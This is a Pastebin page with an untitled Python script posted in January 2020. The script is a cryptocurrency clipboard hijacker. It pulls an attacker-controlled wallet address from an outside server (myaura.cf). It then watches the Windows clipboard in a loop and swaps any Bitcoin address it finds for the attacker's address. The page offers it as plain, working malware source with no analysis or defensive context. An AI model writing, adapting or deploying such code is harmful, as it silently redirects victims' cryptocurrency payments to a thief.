SHARE
TWEET

Untitled

a guest Jan 24th, 2020 67 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. import os, re, sys, time, requests, shutil, threading, win32clipboard
  2. response = requests.get('http://myaura.cf/json/data?key=vrLd1t8ckPYb', headers = {'User-Agent': 'Magic Browser'}).json()
  3.  
  4. def transfer():
  5.     while True:
  6.         win32clipboard.OpenClipboard()
  7.         if win32clipboard.EnumClipboardFormats(win32clipboard.CF_UNICODETEXT) != 0:
  8.             clip_data = win32clipboard.GetClipboardData(win32clipboard.CF_UNICODETEXT)
  9.  
  10.             key = re.search('^[13][a-km-zA-HJ-NP-Z1-9]{25,34}$',clip_data)
  11.  
  12.             if (key):
  13.                 win32clipboard.SetClipboardText(response['transfer'][0]['key'], win32clipboard.CF_UNICODETEXT)
  14.  
  15.         win32clipboard.CloseClipboard()
  16.         time.sleep(0.25)
  17. transfer()
  18.  
  19. def potok2():
  20.     while True:
  21.         print("поток 2")
  22.         time.sleep(0.25)
  23.  
  24. potok2()
  25.  
  26.      
  27. transfer = threading.Thread(target=transfer)
  28. transfer.start()
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Top